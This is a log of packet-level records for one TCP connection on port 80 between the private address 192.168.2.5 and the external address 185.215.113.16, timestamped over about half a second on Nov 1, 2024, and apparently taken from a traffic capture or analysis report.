Nov 1, 2024 05:01:21.288103104 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288111925 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288139105 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288146973 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288173914 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288321018 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288372040 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288373947 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288428068 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288455009 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288489103 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288521051 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288567066 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288606882 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288639069 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288651943 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288675070 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288754940 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288788080 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288803101 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288824081 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288836002 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.288949013 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.288980961 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.289015055 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.289028883 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.289057970 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.322535992 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.322629929 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.322671890 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.322684050 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.364789009 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.366674900 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.366710901 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.366724014 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.366755962 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.366813898 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.366871119 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.366898060 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.366909027 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.366955996 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.367299080 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367327929 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367378950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367417097 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.367439032 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367489100 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.367544889 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367639065 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367651939 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367692947 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.367790937 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367810011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367855072 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.367927074 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367939949 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.367979050 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.368149042 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.368161917 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.368174076 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.368196964 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.368218899 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.368356943 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407306910 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407381058 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407392979 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407443047 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407444000 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.407455921 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407474041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407485962 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.407485962 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407500982 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407531023 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.407696962 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407706976 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407716036 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407727003 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.407747984 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.407780886 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.408849001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.408864021 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.408910036 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.409925938 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410064936 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410131931 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.410223961 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410237074 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410248041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410316944 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.410376072 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.410541058 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410551071 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410562992 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410573006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.410593033 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.410623074 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.441890955 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.441992998 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.442006111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.442063093 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.486166000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486213923 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486274958 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486310959 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486346006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486367941 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.486367941 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.486381054 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486399889 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.486596107 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486674070 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486713886 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.486733913 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.486757040 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.487090111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487149000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487188101 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487202883 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.487309933 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487482071 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487514973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487529039 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.487550020 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487560034 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.487586975 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487803936 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487837076 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487850904 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.487883091 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.487946033 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.487979889 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.488013029 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.488059044 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.526715994 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.526765108 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.526776075 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.526825905 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.526839018 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.526850939 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.526865959 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527060986 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527076006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527077913 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527089119 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527101994 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527106047 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527401924 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527414083 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527431011 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527458906 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527538061 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527550936 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527563095 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527587891 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527606010 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527792931 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527806044 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527817011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527829885 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527841091 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527842045 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527857065 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.527870893 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.527905941 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.528254986 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.528266907 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.528276920 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.528301001 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.561148882 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.561167955 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.561182022 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.561233997 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.561280966 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.605525017 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605568886 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605581999 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605621099 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605633974 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605639935 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605649948 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.605699062 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.605719090 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.605792046 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605916977 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605926037 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605967045 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.605968952 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.606014013 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.606281996 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606328964 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606339931 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606369972 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.606475115 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606487036 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606501102 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606525898 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.606535912 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.606704950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606715918 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606724977 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.606751919 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.607000113 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.607011080 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.607022047 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.607032061 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.607043982 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.607048988 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.607079029 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.607243061 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646454096 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646469116 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646486998 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646500111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646512032 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646522045 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646533966 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.646596909 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.646617889 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646630049 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646667004 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.646789074 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646801949 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646811962 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646821976 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646833897 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.646866083 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.646930933 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646950960 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646959066 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.646970034 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.646996975 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.647110939 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647120953 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647130966 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647141933 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647151947 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647162914 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647176981 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.647177935 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647216082 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.647489071 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647500038 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647509098 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647521973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647538900 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.647567987 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.647609949 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647648096 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.647675991 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647686958 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647697926 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.647731066 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.680255890 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.680303097 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.680315018 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.680356026 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.680402994 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.727051020 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727216959 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727230072 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727277994 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727289915 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727298975 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727329969 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727339029 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.727523088 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.727710009 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727722883 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727732897 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727745056 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727755070 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.727756023 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727767944 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727782011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.727792978 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.727835894 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.728296995 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.728308916 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.728319883 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.728329897 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.728342056 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.728346109 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.728377104 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.765748024 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.765769958 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.765782118 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.765815973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.765827894 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.765834093 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.765889883 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.766235113 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766247034 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766258955 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766288996 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.766379118 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766391039 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766401052 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766423941 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.766450882 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.766567945 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766758919 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766772985 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766777039 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766824007 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.766917944 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766928911 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766940117 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766949892 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766962051 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766971111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.766983986 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.767005920 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.767368078 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767379999 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767390013 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767400980 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767412901 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767424107 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767429113 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.767436028 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767441988 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.767447948 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.767462969 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.767489910 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.800179005 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.800193071 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.800201893 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.800213099 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.800436974 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.800436974 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847150087 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847162962 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847178936 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847192049 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847208023 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847219944 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847224951 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847229958 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847244024 CET	80	49715	185.215.113.16	192.168.2.5
